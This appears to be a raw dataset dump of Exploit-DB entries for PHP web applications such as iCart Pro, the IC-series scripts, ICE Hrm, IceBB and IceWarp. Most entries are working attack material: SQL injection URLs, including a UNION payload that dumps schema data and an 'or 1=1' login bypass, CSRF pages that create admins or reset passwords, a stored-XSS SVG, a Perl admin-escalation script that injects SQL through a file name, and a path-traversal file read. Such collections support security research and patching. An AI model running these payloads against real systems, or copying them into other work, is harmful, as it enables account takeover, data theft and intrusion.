deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27962
Description: IBWd Guestbook 1.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-03
Author: SpC-x

Exploit:
source: https://www.securityfocus.com/bid/18256/info

iBWd Guestbook is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/path/index.php?offset=[SQL]
Exploit-DB #42680
Description: IC-T-Shirt 1.2 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Custom T-Shirt WebStore Script 1.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/t-shirt.htm
# Demo: http://icloudcenter.net/demos/ictshirt/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #38246
Description: iCart Pro - 'section' SQL Injection
Type: webapps
Platform: php
Date: 2013-01-25
Author: n3tw0rk

Exploit:
source: https://www.securityfocus.com/bid/57564/info

iCart Pro is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

iCart Pro 4.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/forum/icart.php?do=editproduct&productid=19&section='
Exploit-DB #42670
Description: ICAuction 2.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: eBay like Auction PHP Script 2.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/ebay-like-auction-script.htm
# Demo: http://icloudcenter.net/demos/icauction/
# Version: 2.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/item.php?id=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #42674
Description: ICAutosales 2.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Auto Dealer Car Sales PHP Script 2.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/auto-dealer-car-sales-script.htm
# Demo: http://icloudcenter.net/demos/icautosales/
# Version: 2.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?cmd=do_car_search&type=7&mod_id=[SQL]
# 
# http://localhost/[PATH]/index.php?cmd=advertise_details&category=car&aid=[SQL]
# 
# http://localhost/[PATH]/index.php?cmd=directory&parent=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #42684
Description: ICCallLimousine 1.1 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Car Rental Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/limousine-car-hire-script.html
# Demo: http://icloudcenter.net/demos/iccalllimousine/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #42676
Description: ICClassifieds 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Classifieds Software Script Like Craigslist 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/craigslist-like-classifieds-script.htm
# Demo: http://icloudcenter.net/demos/icclassifieds/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/post_details.php?city=0&id=[SQL]
# 
# -3061'++/*!00004UNION*/+/*!00004SELECT*/+0x31,0x32,0x33,0x34,0x35,0x36,(/*!00004Select*/+export_set(5,@:=0,(/*!00004select*/+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!00004table_name*/,0x3c6c693e,2),/*!00004column_name*/,0xa3a,2)),@,2)),0x496873616e2053656e63616e,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137--+- 
# 
# http://localhost/[PATH]/view_posts.php?city=[SQL]
# 
# http://localhost/[PATH]/index.php?c=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #42686
Description: ICDental Clinic 1.2 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Dental Clinic Site Script 1.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/dental-clinic-script.htm
# Demo: http://icloudcenter.net/demos/icdentalclinic/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #42671
Description: ICDoctor Appointment 1.3 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Doctor Appointment Script 1.3 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/doctor-appointment-script.htm
# Demo: http://icloudcenter.net/demos/icdoctorappointment/
# Version: 1.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #42673
Description: ICDutchAuction 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Dutch Auction Script 1.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/dutch-auction-script.htm
# Demo: http://icloudcenter.net/demos/icdutchauction/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# http://localhost/[PATH]/admin/viewuserips.php?id=[SQL]

# http://localhost/[PATH]/admin/editadminuser.php?id=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #48082
Description: Ice HRM 26.2.0 - Cross-Site Request Forgery (Add User)
Type: webapps
Platform: php
Date: 2020-02-17
Author: J3rryBl4nks

Exploit:
# Exploit Title: Ice HRM 26.2.0 - Cross-Site Request Forgery (Add User)
# Date: 2020-02-14
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://icehrm.com/
# Software Link: https://sourceforge.net/projects/icehrm/#Version 26.2.0
# Tested on Windows 10/Kali Rolling

# The Ice HRM Web Application is vulnerable to CSRF that leads to arbitrary user creation or password change:

# POC for user creation:
 
    <html>
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="http://HOSTHERE/icehrm/app/service.php">
          <input type="hidden" name="t" value="User" />
          <input type="hidden" name="a" value="ca" />
          <input type="hidden" name="sa" value="saveUser" />
          <input type="hidden" name="mod" value="admin&#61;users" />
          <input type="hidden" name="req" value="&#123;"username"&#58;"test"&#44;"email"&#58;"test&#64;test&#46;com"&#44;"employee"&#58;"1"&#44;"user&#95;level"&#58;"Admin"&#44;"user&#95;roles"&#58;"&#91;&#92;"2&#92;"&#93;"&#44;"lang"&#58;"NULL"&#44;"default&#95;module"&#58;"NULL"&#44;"csrf"&#58;"c0bdded55472fab56c578386143a1854e6f8dd11"&#125;" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>

#    POC for Password Change:

    <html>
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="http://HOSTHERE/icehrm/app/service.php">
          <input type="hidden" name="t" value="User" />
          <input type="hidden" name="a" value="ca" />
          <input type="hidden" name="sa" value="changePassword" />
          <input type="hidden" name="mod" value="admin&#61;users" />
          <input type="hidden" name="req" value="&#123;"id"&#58;1&#44;"pwd"&#58;"admin123"&#125;" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>
Exploit-DB #50031
Description: ICE Hrm 29.0.0.OS - 'Account Takeover' Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2021-06-18
Author: Piyush Patil

Exploit:
# Exploit Title: ICE Hrm 29.0.0.OS - 'Account Takeover' Cross-Site Request Forgery (CSRF)
# Exploit Author: *Piyush Patil* & Rafal Lykowski
# Vendor Homepage: https://icehrm.com/
# Version: 29.0.0.OS
# Tested on: Windows 10 and Kali

#Description
ICE Hrm Version 29.0.0.OS is vulnerable to CSRF which allows attacker to add new admin account or change the password leading to full account takeover.

#Steps to reproduce the attack:
1- Login as victim
2- Open the CSRF malicious file which I have attached (csrf_POC.html)

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8070/app/service.php">
      <input type="hidden" name="t" value="User" />
      <input type="hidden" name="a" value="ca" />
      <input type="hidden" name="sa" value="changePassword" />
      <input type="hidden" name="mod" value="admin&#61;users" />
      <input type="hidden" name="req"
value="&#123;"id"&#58;1&#44;"pwd"&#58;"Hacker123&#35;"&#125;"
/>
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

3- Password is changed (you can also add new admin user)

Now you can simply takeover the account

#Video POC:
https://drive.google.com/file/d/1uUciTcFEkQ5P_R37QBswNrVbOPqzngpX/view?usp=sharing
Exploit-DB #50032
Description: ICE Hrm 29.0.0.OS - 'xml upload' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-06-18
Author: Piyush Patil

Exploit:
# Exploit Title: ICE Hrm 29.0.0.OS - 'xml upload' Stored Cross-Site Scripting (XSS)
# Exploit Author: *Piyush Patil *& Rafal Lykowski
# Vendor Homepage: https://icehrm.com/
# Version: 29.0.0.OS
# Tested on: Windows 10 and Kali

#Description
The file upload feature in ICE Hrm Version 29.0.0.OS allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability.

#Steps to Reproduce the issue:
1- Login to ICE Hrm Admin Panel
2- Click on Employees=>Document Management=> Upload a below xml file

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100"
style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("XSS");
   </script>
</svg>

3- Visit the upload location of file and XSS will get triggered.

#Video POC:
https://drive.google.com/file/d/1SnMsIhOJKBq4Pnotgm0nw1Pz7TypPsoQ/view?usp=sharing
Exploit-DB #15559
Description: IceBB 1.0-rc10 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-16
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22688
Reference: http://www.htbridge.ch/advisory/sql_injection_in_icebb.html
Product: IceBB
Vendor: XAOS Interactive ( http://icebb.net/ ) 
Vulnerable Version: 1.0-rc10
Vendor Notification: 02 November 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

SQL Injection:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "gmt" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


<form action="http://[host]/index.php" method="post" >
<input type="hidden" name="act" value="login" />
<input type="hidden" name="func" value="Register" />
<input type="hidden" name="terms" value="1" />
<input type="hidden" name="user" value="pentest" />
<input type="hidden" name="pass" value="pentest" />
<input type="hidden" name="pass2" value="pentest" />
<input type="hidden" name="email" value="pentest@htbridge.ch" />
<input type="hidden" name="captcha_code" value="[captcha_code]" />
<input type="hidden" name="captcha_word" value="[captcha_word]" />
<input type="hidden" name="gmt" value="'SQL_CODE_HERE" />
<input type="submit" value="Register" name="submit" />
</form>

Information Disclosure:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "icebb_login_key" variable from cookie, it's possible to generate an sql query error that will reveal the database tables prefix.


GET /index.php HTTP/1.0
Cookie: icebb_user=1; icebb_pass=2; icebb_uid=3; icebb_login_key=123\;

Information Disclosure:
The vulnerability exists due to failure in the "/index.php" and "/admin/index.php" scripts to properly sanitize user-supplied input in "s" variable, it's possible to generate an sql query error that will reveal the database tables prefix.


http://[host]/index.php?act=login&func=captcha&s=\
http://[host]/admin/index.php?s=123%27

Path Disclosure:
The vulnerability exists in the "/modules/make_image.php" script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.


http://[host]/modules/make_image.php
Exploit-DB #3580
Description: IceBB 1.0-rc5 - Remote Create Admin
Type: webapps
Platform: php
Date: 2007-03-26
Author: Hessam-x

Exploit:
#!/usr/bin/perl
#  IceBB 1.0-rc5 Remote Create Admin Exploit
#  1. register a user
#  2. run this exploit with this usage : $perl xpl.pl [host&path] [uname] [pass]
#  3. login with admin access :)
# - magic_quotes_gpc = Off
#
#### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

use LWP::UserAgent;
use HTTP::Cookies;

$port = "80";
 $host = $ARGV[0];
 $uname = $ARGV[1];
 $passwd = $ARGV[2];
 $url = "http://".$host;

 print q(
 ###########################################################
 #        IceBB 1.0-rc5 Remote Create Admin Exploit        #
 #                    www.Hessamx.Net                      #
 ################# (C)oded By Hessam-x #####################

);


 if (@ARGV < 3) {
 print " #  usage : xpl.pl [host&path] [uname] [pass]\n";
 print " #  e.g : xpl.pl www.milw0rm.com/icebb/ str0ke 123456\n";
 exit();
 }

   print " [~] User/[CREDENTIAL_REDACTED]/$passwd \n";
   print " [~] Host : $host \n";

 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new();

 $xpl->cookie_jar( $cookie_jar );


$login = $xpl->post($url.'index.php',
Content => [
 'act' => 'login',
'from' => 'index.php',
'user' => $uname,
'pass' => $passwd,
'func' => 'Login',
],);

 if($cookie_jar->as_string =~ /icebb_sessid=(.*?);/) {
       $cookie = $1;
   print " [~] Logined ...\n";
 } else {
 print " [-] Can not Login In $host !\n";
 exit();
 }

 $badcode = "', user_group='1";
 $avat = $xpl->post($url.'index.php',Content_Type => 'form-data',
 Content => [
 'avtype'  => 'upload',
 'act' => 'ucp',
 'func' => 'avatar',
 'file'   => [
              undef,
              'avatar.jpg'.$badcode,
              Content_type => 'text/plain',
              Content => 'MYAVATAR',
             ],
 'submit'        => 'Save',
 ],
 );
 $test = $xpl->get($url.'index.php');
if($test->as_string =~ /Admin Control Center/) {
print " [+] You Are admin Now ! \n";
} else {
print " [-] Exploit Failed ! \n";
}
print "\n #################################################### \n";

# milw0rm.com [2007-03-26]
Exploit-DB #50855
Description: ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Deletion
Type: webapps
Platform: php
Date: 2022-04-07
Author: Devansh Bordia

Exploit:
# Exploit Title: ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Deletion
# Date: 29/03/2022
# Exploit Author: Devansh Bordia
# Vendor Homepage: https://icehrm.com/
# Software Link: https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS
# Version: 31.0.0.OS
#Tested on: Windows 10
# CVE: CVE-2022-26588

1. About - ICEHRM
IceHrm employee management system allows companies to centralize confidential employee information and define access permissions to authorized personnel to ensure that employee information is both secure and accessible.

2. Description:
The application has an update password feature which has a CSRF vulnerability that allows an attacker to change the password of any arbitrary user leading to an account takeover.

3. Steps To Reproduce:

1.) Now login into the application and go to users.
2.) After this add an user with the name Devansh.
3.) Now try to delete the user and intercept the request in burp suite. We can see no CSRF Token in request.
4.) Go to any CSRF POC Generator: https://security.love/CSRF-PoC-Genorator/
5.) Now generate a csrf poc for post based requests with necessary parameters.
6.) Finally open that html poc and execute in the same browser session.
7.) Now if we refresh the page, the devansh is deleted to csrf vulnerability.

4. Exploit POC (Exploit.html)

<html>
<form enctype="application/x-www-form-urlencoded" method="POST"  action="
http://localhost:8070/app/service.php">
<table>
<tr>
<td>t</td>
<td>
<input type="text" value="User" name="t">
</td>
</tr>
<tr>
<td>a</td>
<td>
<input type="text" value="delete" name="a">
</td>
</tr>
<tr>
<td>id</td>
<td>
<input type="text" value="6" name="id">
</td>
</tr>
</table>
<input type="submit" value="http://localhost:8070/app/service.php"> </form>
</html>
Exploit-DB #50831
Description: ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Takeover
Type: webapps
Platform: php
Date: 2022-03-22
Author: Devansh Bordia

Exploit:
# Exploit Title: ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Takeover
# Date: 18/03/2022
# Exploit Author: Devansh Bordia
# Vendor Homepage: https://icehrm.com/
# Software Link: https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS
# Version: 31.0.0.OS
#Tested on: Windows 10

1. About - ICEHRM
IceHrm employee management system allows companies to centralize confidential employee information and define access permissions to authorized personnel to ensure that employee information is both secure and accessible.

2. Description:
The application has an update password feature which has a CSRF vulnerability that allows an attacker to change the password of any arbitrary user leading to an account takeover.

3. Steps To Reproduce:
- Create an User name:Gaurav with permission of the Employee using the Admin User of the application and set his password.
- Now login into the application using his credentials and navigate to Update Password Feature to change the password.
- Intercept the request in Proxy and we can see there is a GET request used to change password and also NO CSRF Token is being used.
- Finally using Burpsuite create CSRF POC and save it as exploit.html.
- Now change the password in the POC to any password we want.
- Finally we open this POC in the same browser session and click on the submit button.
- At last when retrying to login into the application we can see that password has been reset for the account leading to account takeover.

4. Vulnerable Request:

GET
/app/service.php?t=Employee&a=ca&sa=changePassword&mod=modules=employees&req={"current":"Test@123
","pwd":"Dummy@123"} HTTP/1.1
Host: localhost:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
Gecko/20100101 Firefox/98.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer:
http://localhost:8070/app/?g=modules&n=employees&m=module_Personal_Information
Cookie: PHPSESSID=k8d27ve456j0jb56ga885j1vvb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

5. Exploit POC (exploit.html)

<html>

<!-- CSRF PoC - generated by Burp Suite Professional -->

<body>

<script>history.pushState('', '', '/')</script>

<form action="http://localhost:8070/app/service.php">

<input type="hidden" name="t" value="Employee" />

<input type="hidden" name="a" value="ca" />

<input type="hidden" name="sa" value="changePassword" />

<input type="hidden" name="mod" value="modules&#61;employees" />

<input type="hidden" name="req"
value="&#123;"current"&#58;"Test&#64;123"&#44;"pwd"&#58;"Dummy&#64;123"&#125;"
/>

<input type="submit" value="Submit request" />

</form>

</body>

</html>
Exploit-DB #46959
Description: IceWarp 10.4.4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2019-06-04
Author: JameelNabbo

Exploit:
# Exploit Title: IceWarp <=10.4.4 local file include
# Date: 02/06/2019
# Exploit Author: JameelNabbo
# Website: uitsec.com
# Vendor Homepage: http://www.icewarp.com
# Software Link: https://www.icewarp.com/downloads/trial/
# Version: 10.4.4
# Tested on: Windows 10
# CVE: CVE-2019-12593
POC:

http://example.com/webmail/calendar/minimizer/index.php?style=[LFI]

Example:
http://example.com/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini